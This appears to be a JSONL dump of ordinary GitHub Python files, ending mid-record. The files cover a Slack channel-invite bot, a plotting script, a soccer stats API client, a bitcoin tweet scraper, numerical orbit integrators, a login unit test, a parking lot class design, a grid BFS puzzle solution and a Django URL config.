+{"seq_id":"25412749009","text":"import os\nimport hmac\nimport hashlib\nimport configparser\nimport datetime\nimport json\nimport requests\n\nfrom flask import abort, Flask, jsonify, request\nfrom slack import WebClient\nfrom slack.errors import SlackApiError\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['TESTING'] = True\nconfigParser = configparser.ConfigParser()\nconfigParser.read('./bot.config')\n\nclient = WebClient(token=configParser.get('bot', 'SLACK_ACCESS_TOKEN'))\n\ndef is_request_valid(request):\n \"\"\"\n check to see requesting comming from the slack.\n \"\"\"\n request_body = request.get_data().decode('utf-8')\n timestamp = request.headers['X-Slack-Request-Timestamp']\n if abs(int(datetime.datetime.now().timestamp()) - int(timestamp)) > 60 * 5:\n # The request timestamp is more than five minutes from local time. \n # It could be a replay attack, so let's ignore it. \n return\n\n slack_signature = request.headers['X-Slack-Signature']\n slack_signing_secret = bytes(configParser.get('bot', 'SLACK_SIGNING_SECRET'), 'latin-1')\n sig_basestring = f'v0:{timestamp}:{str(request_body)}'\n my_signature = 'v0=' + hmac.new(\n slack_signing_secret,\n sig_basestring.encode(),\n hashlib.sha256\n ).hexdigest()\n return hmac.compare_digest(my_signature, slack_signature)\n\n\ndef conversation_list():\n \"\"\"\n fetch the list of the public conversation from workspace.\n \"\"\"\n converstaions = []\n try:\n response = client.conversations_list()\n conversations = response['channels']\n except SlackApiError as e:\n assert e.response[\"ok\"] is False\n assert e.response[\"error\"] # str like 'invalid_auth', 'channel_not_found'\n print(f\"Got an error: {e.response['error']}\")\n\n return conversations\n \n\ndef add_users_to_channels(sub_command, response_url):\n \"\"\"\n add the given user to the common channels in the workspace\n \"\"\"\n users = sub_command.split(',')\n channels = conversation_list()\n print(users)\n users_id = [str(user.split('|')[0]).replace('<@', '') for user in users if '|' in user]\n users_id_str = ','.join(users_id)\n print(users_id_str)\n channels_name = []\n for channel in channels:\n if channel['is_channel']:\n print(f'channel name: {channel[\"name\"]}')\n try:\n response = client.conversations_invite(channel=channel['id'], users=users_id_str)\n if response['ok']:\n channels_name.append(channel['name'])\n except SlackApiError as e:\n print(e)\n \n data = {\n 'response_type': 'in_channel',\n 'text': f'User(s) added to the channels({\",\".join(channels_name)})'\n }\n requests.post(response_url, json=data)\n return True\n \n@app.route('/add-user', methods=['Post'])\ndef slack_slash_commands():\n \"\"\"\n\n \"\"\"\n if not is_request_valid(request):\n abort(400)\n\n print(request.form)\n command = request.form['command']\n sub_command = request.form['text']\n response_url = request.form['response_url']\n \n if command == '/add-user':\n \n if not sub_command:\n return jsonify(\n response_type='in_channel',\n text='no user(s) passed to add in channels.'\n )\n\n if sub_command == 'help':\n return jsonify(\n response_type='in_channle',\n text=\"Add passed user to the list of public channels\"\n )\n\n add_users_to_channels(sub_command, response_url)\n return jsonify(\n response_type='in_channel',\n text='adding user to the public channel...'\n )\n\n \n","repo_name":"Skchoudhary/2pie","sub_path":"add-user-to-channels.py","file_name":"add-user-to-channels.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"28098961423","text":"#!/usr/bin/python3\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager as fm\nfrom matplotlib import rcParams\nfrom collections import defaultdict\nimport glob\nfrom util_patterns import *\n\nparams = {\n 'axes.labelsize': 18,\n 'font.size': 18,\n 'legend.fontsize': 18,\n 'xtick.labelsize': 18,\n 'ytick.labelsize': 18,\n 'text.usetex': False,\n 'figure.figsize': [12, 4],\n 'legend.loc': 'best'\n}\nrcParams.update(params)\n\nlegends_launch = [\"TLB setup \\&config. reading\", \"Blacklisting\", \"SHA-256 digesting\"]\nlegends_destroy = [\"Whitelisting\", \"Memory scrubing\"]\n\nnfs = [\"FW\", \"DPI\", \"NAT\", \"LB\", \"LPM\", \"Mon.\"]\ndef format_func(value, tick_number):\n return nfs[tick_number]\n \n# nf_launch\n# nf_destroy\nlatencies = np.array([\n [0.019615, 0.004425, 38.082837], \n [0.003783, 2.704083, 0], \n [0.019615, 0.004425, 323.602302], \n [0.003783, 22.983011, 0], \n [0.019616, 0.004425, 145.944469], \n [0.003783, 10.364937, 0], \n [0.019616, 0.004425, 29.622514], \n [0.003783, 2.103230, 0], \n [0.019615, 0.004425, 95.187180], \n [0.003783, 6.759915, 0], \n [0.019615, 0.004425, 763.517971], \n [0.003783, 54.227230, 0]], np.float64)\n\n\n\nif __name__ == '__main__':\n plt.rc('text', usetex=True)\n # plt.rc('font', family='Gill Sans')\n font = fm.FontProperties(\n family = 'Gill Sans',\n fname = '/usr/share/fonts/truetype/adf/GilliusADF-Regular.otf')\n\n N = 6\n\n ind = np.arange(N) * 10 + 5 # the x locations for the groups\n\n # print ind\n width = 3.5 # the width of the bars: can also be len(x) sequence\n \n ax1 = plt.subplot(121)\n p1 = ax1.bar(ind, latencies[:, 0][::2], width, label=legends_launch[0], bottom=latencies[:, 1][::2]+latencies[:, 2][::2], color=colors[0], hatch=patterns[0], align=\"center\", edgecolor = 'k')\n p2 = ax1.bar(ind, latencies[:, 1][::2], width, label=legends_launch[1], bottom=latencies[:, 2][::2], color=colors[1], hatch=patterns[1], align=\"center\", edgecolor = 'k')\n p3 = ax1.bar(ind, latencies[:, 2][::2], width, label=legends_launch[2], color=colors[2], hatch=patterns[2], align=\"center\", edgecolor = 'k')\n \n # ax1.set_title(r\"\\textsf{nf\\_launch}\")\n ax1.set_ylabel('Latency (ms)')\n ax1.set_xticks(ind)\n ax1.xaxis.set_major_formatter(plt.FuncFormatter(format_func))\n\n dx = 0/72.; dy = -5/72. \n offset = matplotlib.transforms.ScaledTranslation(dx, dy, plt.gcf().dpi_scale_trans) \n # apply offset transform to all x ticklabels.\n for label in ax1.xaxis.get_majorticklabels():\n label.set_transform(label.get_transform() + offset)\n ax1.grid(which='major', axis='y', linestyle=':')\n ax1.set_axisbelow(True)\n\n # plt.yticks(np.arange(0, 81, 10))\n # ax1.xticks(rotation = 35, ha=\"right\", rotation_mode=\"anchor\")\n \n\n ax2 = plt.subplot(122)\n p1 = ax2.bar(ind, latencies[:, 0][1::2], width, label=legends_destroy[0], bottom=latencies[:, 1][1::2], color=colors[3], hatch=patterns[3], align=\"center\", edgecolor = 'k')\n p4 = ax2.bar(ind, latencies[:, 1][1::2], width, label=legends_destroy[1], color=colors[4], hatch=patterns[4], align=\"center\", edgecolor = 'k')\n \n # ax2.set_title(r\"\\textsf{nf\\_destroy}\")\n ax2.set_ylabel('Latency (ms)')\n ax2.set_xticks(ind)\n ax2.xaxis.set_major_formatter(plt.FuncFormatter(format_func))\n\n for label in ax2.xaxis.get_majorticklabels():\n label.set_transform(label.get_transform() + offset)\n ax2.grid(which='major', axis='y', linestyle=':')\n ax2.set_axisbelow(True)\n\n # ax2.yticks(np.arange(0, 81, 10))\n # ax2.xticks(rotation = 35, ha=\"right\", rotation_mode=\"anchor\")\n \n \n lines_labels = [ax1.get_legend_handles_labels()]\n lines, labels = [sum(lol, []) for lol in zip(*lines_labels)]\n l = ax1.legend(lines, labels, title=r\"\\textsf{nf\\_launch}\")\n l.get_title().set_position((-41, 0))\n\n lines_labels = [ax2.get_legend_handles_labels()]\n lines, labels = [sum(lol, []) for lol in zip(*lines_labels)]\n ax2.legend(lines, labels, title=r\"\\textsf{nf\\_destroy}\")\n\n plt.tight_layout()\n\n plt.savefig('figures/ins_latency/ins_latency.pdf')\n plt.clf()\n","repo_name":"YangZhou1997/sgxnic-figuredraw","sub_path":"plot_ins_latency.py","file_name":"plot_ins_latency.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"19542579841","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 29 17:45:37 2021\r\n\r\n@author: yatsk\r\n\"\"\"\r\nimport requests\r\nimport pandas as pd\r\nimport team\r\n\r\nTEAMS = team.getTeams()\r\n\r\n#game_id = \"utah-royals-vs-washington-spirit-2019-04-20\"\r\n#game_id = \"ol-reign-vs-chicago-red-stars-2021-04-27\"\r\n\r\n#game_id = \"utah-royals-vs-portland-thorns-2019-09-06\"\r\n#game_id = \"portland-thorns-vs-kansas-city-1-2021-04-09\"\r\n#boxscore_link = \"http://api.nwslsoccer.com/v2/games/{}/stats\".format(game_id)\r\n#events_link = \"http://api.nwslsoccer.com/v2/games/{}/commentary\".format(game_id)\r\nbase_url = \"http://api.nwslsoccer.com/v2/games/\"\r\n# SOME URL NOTES:\r\n# \r\n\r\ndef getEvents(game_id):\r\n events_link = base_url + game_id + \"/commentary\"\r\n r = requests.get(events_link)\r\n events_dic = r.json()['result']\r\n return events_dic\r\n #events_df = pd.DataFrame(events_dic)\r\n \r\n\r\ndef getBoxScore(game_id):\r\n boxscore_link = base_url + game_id + \"/stats\"\r\n r = requests.get(boxscore_link) \r\n box_dic = r.json()['result']\r\n return box_dic\r\n\r\n\r\ndef getGame(game_id): \r\n game_link = base_url + game_id\r\n r = requests.get(game_link)\r\n game_dic = r.json()['result']\r\n return game_dic\r\n# box_df = pd.DataFrame(events_dic)\r\n\r\ndef getChaosMetrics(game_id):\r\n events = getEvents(game_id)\r\n evetns_cnt = len(events)\r\n game = getGame(game_id)\r\n \r\n goals = game['liveData']['goal']\r\n goals_cnt = len(goals)\r\n\r\n cards = game['liveData']['card']\r\n cards_cnt = len(cards)\r\n\r\n length = game['liveData']['matchDetails']['matchLengthMin']\r\n\r\ndef getValue(values, tp):\r\n try:\r\n return float(values[tp])\r\n except:\r\n return 0\r\n\r\ndef getValue_dic(values, tp):\r\n try:\r\n return (values[tp])\r\n except:\r\n return 0\r\n \r\ndef generateActualChaos(chaos):\r\n stat = (chaos['cards_cnt'] \r\n # + chaos['totalRedCard']\r\n + chaos['cornerTaken']\r\n + chaos['divingSave']\r\n + chaos['fouledFinalThird']\r\n + chaos['penAreaEntries']\r\n + chaos['totalShots']\r\n + chaos['passingAccuracy']\r\n + chaos['saves']\r\n + chaos['SOG']\r\n + chaos['shotFB']\r\n + chaos['totalGoals']\r\n + chaos['goalDif']\r\n )\r\n return stat \r\n\r\nclass Game:\r\n \r\n def __init__(self, game_id):\r\n self.id = game_id\r\n \r\n def getPreGame(self):\r\n self._game = getGame(self.id) \r\n self.matchid = self._game['matchInfo']['id']\r\n self.date = self._game['matchInfo']['date']\r\n self.time = self._game['matchInfo']['time']\r\n self.state = self._game['matchInfo']['location']['state']\r\n self.stadiumName = self._game['matchInfo']['location']['stadiumName']\r\n \r\n self.team0id = self._game['matchInfo']['contestant'][0]['team']['id']\r\n self.team0totalwins = self._game['matchInfo']['contestant'][0]['team']['winHistory']['totalMatchesWon']\r\n self.team0 = team.getTeamFromId(self.team0id)\r\n \r\n self.team1id = self._game['matchInfo']['contestant'][1]['team']['id']\r\n self.team1totalwins = self._game['matchInfo']['contestant'][1]['team']['winHistory']['totalMatchesWon']\r\n self.team1 = team.getTeamFromId(self.team1id)\r\n \r\n def getEvents(self):\r\n self._events = getEvents(self.id) # list of dic \r\n self.events = pd.DataFrame(self._events)\r\n \r\n def getDetails(self):\r\n self._game = getGame(self.id) \r\n self._liveData = self._game['liveData']\r\n self.broadcaster = self._liveData['broadcaster']['name'] # str\r\n self.cards = getValue_dic(self._liveData, 'card') # list of dic\r\n self.goals = getValue_dic(self._liveData, 'goal')# list of dic\r\n \r\n self._matchDetails = self._liveData['matchDetails']\r\n self.periodId = self._matchDetails['periodId']\r\n self.matchStatus = self._matchDetails['matchStatus']\r\n # self.winner = self._matchDetails['winner']\r\n self.matchLength = self._matchDetails['matchLengthMin'] + (self._matchDetails['matchLengthMin'])/60\r\n self._period = self._matchDetails['period']\r\n self._scores = self._matchDetails['scores']\r\n self.totalGoals = self._scores['total']['home'] + self._scores['total']['away']\r\n self.goalDif = abs(self._scores['total']['home'] - self._scores['total']['away'])\r\n \r\n self.ht = self._scores['ht']\r\n self.ft = self._scores['ft']\r\n self._lineUp = self._liveData['lineUp']\r\n \r\n # haven't though about these next ones\r\n self.missedPen = self._liveData['missedPen']\r\n self.penaltyShot = self._liveData['penaltyShot']\r\n self.substitute = self._liveData['penaltyShot']\r\n\r\n def getAdvancedStats(self):\r\n self._box = getBoxScore(self.id) # list of dic\r\n self._lineUp = self._box['lineUp']\r\n self._team1 = self._lineUp[0]\r\n self._team2 = self._lineUp[1]\r\n self.team1_stats = self._team1['stat']\r\n self.team2_stats = self._team1['stat'] \r\n self.team1_stats_df = pd.DataFrame(self._team1['stat'])\r\n self.team2_stats_df = pd.DataFrame(self._team2['stat'])\r\n \r\n def totalChaos(self):\r\n self.getAdvancedStats()\r\n self.getDetails()\r\n \r\n if self.cards == 0:\r\n cards_cnt = 0\r\n else:\r\n cards_cnt = len(self.cards)\r\n\r\n values1 = dict((temp['type'], temp['value']) for temp in self.team1_stats)\r\n values2 = dict((temp['type'], temp['value']) for temp in self.team2_stats)\r\n \r\n totalRedCard = getValue(values1, 'totalRedCard') + getValue(values2, 'totalRedCard')\r\n cornerTaken = getValue(values1, 'cornerTaken') + getValue(values2, 'cornerTaken')\r\n divingSave = getValue(values1, 'divingSave') + getValue(values2, 'divingSave')\r\n fouledFinalThird = getValue(values1, 'fouledFinalThird') + getValue(values2, 'fouledFinalThird')\r\n penAreaEntries = getValue(values1, 'penAreaEntries') + getValue(values2, 'penAreaEntries')\r\n totalShots = getValue(values1, 'totalShots') + getValue(values2, 'totalShots')\r\n passingAccuracy = getValue(values1, 'passingAccuracy') + getValue(values2, 'passingAccuracy')\r\n saves = getValue(values1, 'saves') + getValue(values2, 'saves')\r\n SOG = getValue(values1, 'shotsOnGoal') + getValue(values2, 'shotsOnGoal')\r\n shotFB = getValue(values1, 'shotFastbreak') + getValue(values2, 'shotFastbreak')\r\n \r\n dic = {\r\n 'game id': self.id,\r\n 'cards_cnt': cards_cnt,\r\n 'totalRedCard': totalRedCard,\r\n 'cornerTaken': cornerTaken,\r\n 'divingSave': divingSave,\r\n 'fouledFinalThird': fouledFinalThird,\r\n 'penAreaEntries': penAreaEntries,\r\n 'totalShots': totalShots,\r\n 'passingAccuracy': passingAccuracy,\r\n 'saves': saves,\r\n 'SOG': SOG,\r\n 'shotFB': shotFB,\r\n 'totalGoals': self.totalGoals,\r\n 'goalDif': self.goalDif\r\n }\r\n \r\n return dic\r\n \r\n\r\n###MAIN\r\n\r\n# \"portland-thorns-vs-kansas-city-1-2021-04-09\"\r\n#game_id = \"utah-royals-vs-washington-spirit-2019-04-20\"\r\n#game_id = \"ol-reign-vs-chicago-red-stars-2021-04-27\"\r\n#game_id = \"utah-royals-vs-portland-thorns-2019-09-06\"\r\n#game_id = \"portland-thorns-vs-chicago-red-stars-2020-07-01\"\r\ngame_id = \"racing-louisville-vs-kansas-city-1-2021-05-15\"\r\ncursed = Game(game_id)\r\ncursed.getPreGame()\r\n# lineup = cursed._lineUp\r\n# t1 = cursed._team1['stat']\r\n# df_t1 = pd.DataFrame(t1)\r\n\r\ncursed.getEvents()\r\n\r\n\r\n\r\nchaos = cursed.totalChaos()\r\n\r\n# stat = (chaos['cards_cnt'] \r\n# + chaos['totalRedCard']\r\n# + chaos['cornerTaken']\r\n# + chaos['divingSave']\r\n# + chaos['fouledFinalThird']\r\n# + chaos['penAreaEntries']\r\n# + chaos['totalShots']\r\n# + chaos['passingAccuracy']\r\n# + chaos['saves']\r\n# + chaos['SOG']\r\n# + chaos['shotFB']\r\n# + chaos['totalGoals']\r\n# + chaos['goalDif']\r\n# )\r\n# print(chaos)\r\n# print(stat)\r\n# y = {chaos['game id']: stat}\r\n\r\n","repo_name":"yatskok/nwslpy_dev","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":8097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3582610908","text":"import os\nimport platform\nimport json, calendar, csv, os.path, time\nfrom datetime import date, timedelta, datetime\nfrom random import randint\nimport pandas as pd\nimport twitterscraper.query\n#from twitterscraper import query_tweets\nfrom twitterscraper.main import JSONEncoder\n\n# modify twitterscraper url\n# remove f=tweets, which sorts by newest\n# this will sort by top\ntwitterscraper.query.INIT_URL = \"https://twitter.com/search?vertical=default&q={q}&l={lang}\"\ntwitterscraper.query.RELOAD_URL = \"https://twitter.com/i/search/timeline?vertical=\" \\\n \"default&include_available_features=1&include_entities=1&\" \\\n \"reset_error_state=false&src=typd&max_position={pos}&q={q}&l={lang}\"\n\nplatform_type = platform.system()\nquery = 'bitcoin'\npoolsize = 20\nlimit = 1000 # number of posts per day\n\nstart_date = date(2017, 1, 1)\nend_month = 4\n\ndata_file = 'tweets2.csv'\n\nsleep_time = 20 # seconds between requests\n\n# check if data file already exists, if so we will continue from last retrieval\ncontinued = os.path.isfile(data_file)\n\n# get last date retrieved\nif(continued):\n cur_data = pd.read_csv(data_file)\n last_date = cur_data.tail(1)['timestamp'].values[0].split('T')[0]\n start_date = datetime.strptime(last_date, '%Y-%m-%d').date() + timedelta(days = 1)\n \nfor m in range(start_date.month, end_month + 1):\n # number of days in current month\n monthend = calendar.monthrange(2017, m)[1]\n \n # use modified start date, or first of month\n days = range(start_date.day, monthend + 1) if m == start_date.month else range(1, monthend + 1)\n \n for d in days:\n print('Getting tweets for 2017-{}-{} ...'.format(m, d))\n \n cur_date = date(2017, m, d)\n\n # get tweets\n if platform_type == 'Linux':\n tweets = twitterscraper.query.query_tweets(\n query, \n poolsize = poolsize, \n limit = limit * poolsize, \n begindate = cur_date, \n enddate = cur_date + timedelta(days = 1),\n lang = 'en'\n ) \n elif platform_type == 'Windows':\n enddate = cur_date + timedelta(days = 1)\n command_str = 'twitterscraper \"%s\" --lang \"en\" -bd %s -ed %s -o temp_tweet.json -l %s'%(query, cur_date, enddate, limit)\n os.system('%s'%(command_str))\n with open('temp_tweet.json') as file:\n tweets = json.load(file)\n os.remove('temp_tweet.json')\n \n print('Retrieved', len(tweets), 'tweets.')\n \n tweets = [{k:v for k, v in json.loads(json.dumps(tweet, cls = JSONEncoder)).items() if k != 'html'} for tweet in tweets]\n \n print('Saving csv ...')\n if continued or cur_date > start_date:\n old_df = pd.read_csv(data_file)\n all_df = pd.concat([old_df, pd.DataFrame(tweets)])\n else:\n all_df = pd.DataFrame(tweets)\n \n all_df.to_csv(data_file, index = False)\n \n # sleep for random interval from 1-20 seconds\n time.sleep(randint(1, sleep_time))\n","repo_name":"twhitsn/twitter-btc","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"1188072437","text":"# Generic compute method for kepler orbits.\n\n\n\nfrom numpy import array, zeros, dot, size\nfrom numpy.linalg import norm, inv\nfrom scipy.optimize import fsolve\n\n\n\n# Euler scheme.\ndef eu(U, dt, F, t):\n return U + dt * F(U, t)\n\n# Inverse Euler scheme.\ndef ie(U, dt, F, t):\n fn = lambda x : x - U - F(x, t) * dt\n\n return fsolve(fn, U)\n\n# Runge-Kutta 4 scheme.\ndef rk(U, dt, F, t):\n # Get the constants.\n k1 = F(U, t)\n k2 = F(U + dt * k1 / 2.0, t + dt / 2.0)\n k3 = F(U + dt * k2 / 2.0, t + dt / 2.0)\n k4 = F(U + dt * k3, t + dt)\n\n return U + dt * (k1 + (2.0 * k2) + (2.0 * k3) + k4) / 6.0\n\n# Crank-Nicolson scheme.\ndef cn(U, dt, F, t):\n fn = lambda x : x - U - (F(x, t) + F(U, t)) * dt / 2.0\n\n return fsolve(fn, U)\n\n# Jacobiano de matriz.\ndef jacobiano(F, x):\n N = size(x)\n J = zeros([ N, N ])\n\n for j in range( N ):\n dx = zeros( N )\n dx[j] = 1e-3\n\n J[:,j] = ( F(x + dx) - F(x - dx) ) / norm( 2 * 1e-3)\n\n return J\n\n# Newton method.\ndef newton(F, x, tol=1e-5, steps=1000):\n N = size(x)\n U = zeros(N)\n U1 = x\n\n eps = 1\n it = 0\n\n U = x\n \n while (eps > tol) and (it < steps):\n U = U1 - dot( inv( jacobiano(F, U1) ), F(U1) )\n eps = norm(U - U1)\n U1 = U\n it += 1\n\n #D = dot( inv( jacobiano(F, U) ), F(U) )\n #U = U - D\n #eps = norm(D)\n\n #if eps < tol:\n # return U\n\n #print(f\"Failed to reach tolerance of {tol} (real = {eps}) with {steps} steps. Value: {U}\")\n return x\n\n# General Cauchy problem method.\ndef cauchy(F, t, U0, scheme):\n # Initialize variables.\n N = len(t) - 1\n N0 = len(U0)\n\n U = array(zeros([N+1, N0]))\n U[0,:] = U0\n\n # Start looping.\n for i in range(N):\n dt = t[i+1] - t[i]\n U[i+1,:] = scheme(U[i,:], dt, F, t[i])\n\n return U\n\n# Kepler function.\ndef kepler(U, t):\n r = U[:-2]\n d = U[2:]\n n = ((r[0]**2.0) + (r[1]**2.0))**0.5\n\n return array([ d[0], d[1], -r[0]/(n**3.0), -r[1]/(n**3.0) ])\n\n# Specific energy function.\ndef energy(U, N):\n # Initialize the variables.\n e = array(zeros(N+1))\n mu = 3.986e14\n\n for i in range(N):\n Em = ((U[i,2]**2.0) + (U[i,3]**2.0)) / 2.0\n Ep = mu / (((U[i,0]**2.0) + (U[i,1]**2.0))**0.5)\n\n e[i] = Em - Ep\n\n return e","repo_name":"jahrTeaching/milestones-agserWork","sub_path":"sources/milestone2/compute.py","file_name":"compute.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9751439828","text":"#!/usr/bin/env python3\n\nimport unittest\nfrom shutil import copy2\nfrom facialrecognition.recognise import Recognise\nimport client\n\n\nclass RPTest(unittest.TestCase):\n \"\"\"\n Unit test for reception pi\n Include two test: test local database connection and login\n \"\"\"\n\n def test_db_connection(self):\n \"\"\"\n Unit test for local database connection on reception pi\n \"\"\"\n config_file = '../config.json'\n config = client.Config(config_file)\n database = client.Userdb(config)\n self.assertIsNotNone(database)\n\n def test_login(self):\n \"\"\"\n Unit test for login function\n \"\"\"\n config_file = '../config.json'\n config = client.Config(config_file)\n database = client.Userdb(config)\n\n menu = client.Menu()\n\n valid_login = False\n auth = True\n not_auth = False\n\n login_option = menu.login_option()\n if login_option == 1: # when login with email\n email = menu.get_login_detail(True)\n valid_login = database.login(email, True)\n elif login_option == 2: # when login with username\n username = menu.get_login_detail(False)\n valid_login = database.login(username, False)\n elif login_option == 3: # when login with facial recognize\n copy2('./facialrecognition/encodings.pickle', '.')\n recognize = Recognise()\n name = recognize.getuser()\n if name != \"Unknown\":\n valid_login = True\n elif login_option == 4: # when choose not to login\n valid_login = False\n\n if valid_login:\n self.assertEqual(auth, valid_login)\n else:\n self.assertEqual(not_auth, valid_login)\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"inci90/library-pi2","sub_path":"reception-pi/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"29550786703","text":"\"\"\"\n**Parking Lot**:\n\n Design a parking lot using object-oriented principle\n\"\"\"\n\n# Objects\n# * Car\n# * Spots\n# * Payment\n\n# Actions\n# * park\n# * enter\n# * exit\n\n# Questions:\n# * Do we care about the vehicule type? (Car, Bus, Mo\n# * Should we model types of car spots? (Disabled/Standard)\n# * Is it a paying parking lot? Should we model for extensibility (Free/Paying)?\n\n# Story:\n# A vehicule wants to park in a parking lot. The parking lot indicates to the driver how many parking spots are still available.\n# The parking lot has multiple stories, each with a certain number of available parking spots. Each parking spot is adapted for a certain size of vehicule.\n# The parking lot supports buses, bikes, motorbikes, and cars. In addition the parking lot has priority spots for disabled passengers.\n# Each spot supports a space for a smaller vehicule, except for bikes which are limited to be stored in a ike rake.\n\n\nfrom dataclasses import dataclass, field\nfrom typing import List, Dict, Type\nfrom collections import ChainMap\n\n\n@dataclass\nclass ParkingSpot:\n size: int\n number: int\n\n\n@dataclass\nclass CarParkingSpot(ParkingSpot):\n size: int = 20\n\n\n@dataclass\nclass BusParkingSpot(ParkingSpot):\n size: int = 40\n\n\n@dataclass\nclass MotorCycleParkingSpot(ParkingSpot):\n size: int = 5\n\n\n@dataclass\nclass Vehicle:\n size: int\n has_disabled_passenger: bool = False\n parking_spot: ParkingSpot = field(default=None)\n\n def park(self, parking_spot: ParkingSpot):\n if self.can_park(parking_spot):\n self.parking_spot = parking_spot\n\n def can_park(self, parking_spot: ParkingSpot):\n return parking_spot.size >= self.size\n\n @property\n def type(self):\n return type(self)\n\n\n@dataclass\nclass Car(Vehicle):\n size: int = 20\n\n\n@dataclass\nclass Bus(Vehicle):\n size: int = 40\n\n\n@dataclass\nclass MotorCycle(Vehicle):\n size: int = 5\n\n\nclass Floor:\n spots: Dict[Type[Vehicle], List[ParkingSpot]]\n parked_vehicles: List[Vehicle]\n\n @property\n def total_space(self):\n return\n\n def has_available_space(self, vehicle: Vehicle):\n vehicle_type = type(vehicle)\n return bool(self.spots.get(vehicle_type))\n\n def park_vehicle(self, vehicle: Vehicle):\n if self.has_available_space(vehicle):\n self.parked_vehicles.append(vehicle)\n parking_spot = self.spots[vehicle.type].pop()\n vehicle.park(parking_spot)\n\n\nclass ParkingLot:\n floors: List[Floor]\n\n def has_available_space(self, vehicle: Vehicle):\n return bool(floor.has_available_space(vehicle) for floor in self.floors)\n\n def next_available_floor(self, vehicle: Vehicle):\n return next(\n floor for floor in self.floors if floor.has_available_space(vehicle)\n )\n\n @property\n def all_spots(self):\n spots = ChainMap(*(floor.spots for floor in self.floors))\n return spots\n\n def park_vehicle(self, vehicle: Vehicle):\n floor = self.next_available_floor(vehicle)\n floor.park_vehicle(vehicle)\n","repo_name":"yassineayadi/ctci-python","sub_path":"src/chapter07/p04.py","file_name":"p04.py","file_ext":"py","file_size_in_byte":3029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"26902210144","text":"import sys\nfrom collections import deque\nsys.stdin = open(\"10026.txt\", 'r')\n\nN = int(sys.stdin.readline())\nfield = []\n\nfor _ in range(N):\n field.append(list(sys.stdin.readline().strip()))\n\ndef bfs_r(start):\n queue_r = deque()\n queue_r.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_r:\n x, y = queue_r.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == \"R\":\n field[nx][ny] = 1\n queue_r.append((nx, ny))\n\ndef bfs_g(start):\n queue_g = deque()\n queue_g.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_g:\n x, y = queue_g.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == \"G\":\n field[nx][ny] = 1\n queue_g.append((nx, ny))\n\ndef bfs_rg(start):\n queue_rg = deque()\n queue_rg.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_rg:\n x, y = queue_rg.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == 1:\n field[nx][ny] = 0\n queue_rg.append((nx, ny))\n\ndef bfs_b(start):\n queue_b = deque()\n queue_b.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_b:\n x, y = queue_b.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == \"B\":\n field[nx][ny] = 0\n queue_b.append((nx, ny))\n\ncnt_r = 0\ncnt_g = 0\ncnt_rg = 0\ncnt_b = 0\n\nfor i in range(N):\n for j in range(N):\n if field[i][j] == \"R\":\n field[i][j] = 1\n bfs_r((i, j))\n cnt_r += 1\n elif field[i][j] == \"G\":\n field[i][j] = 1\n bfs_g((i, j))\n cnt_g += 1\n elif field[i][j] == \"B\":\n field[i][j] = 0\n bfs_b((i, j))\n cnt_b += 1\n\nfor i in range(N):\n for j in range(N):\n if field[i][j]:\n field[i][j] = 0\n bfs_rg((i, j))\n cnt_rg += 1\n\nprint(cnt_r + cnt_g + cnt_b, cnt_rg + cnt_b)","repo_name":"mhd329/boj-1d1q","sub_path":"10026_적록색약/10026.py","file_name":"10026.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"4468409075","text":"from django.urls import path, include\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nurlpatterns = [\n path('', views.landing, name='landing'),\n path('login/',views.signin,name='login'),\n path('register/',views.register,name='register'),\n path('logout/',views.signout,name='logout'),\n path('index/',views.index,name='index'),\n path('new-region/', views.create_region, name='new-region'),\n path('new-post/', views.create_post, name='post'),\n path('join_hood/', views.join_hood, name='join-hood'),\n path('leave_hood/', views.leave_hood, name='leave-hood'),\n path('all-hoods/', views.hoods, name='hood'),\n path('search/', views.search_business, name='search'),\n path('profile/', views.profile, name='profile'),\n path('profile//edit/', views.edit_profile, name='edit-profile'),\n path('single_region/', views.single_region, name='single-region'),\n \n]\nif settings.DEBUG:\n urlpatterns+= static(settings.MEDIA_URL, document_root = 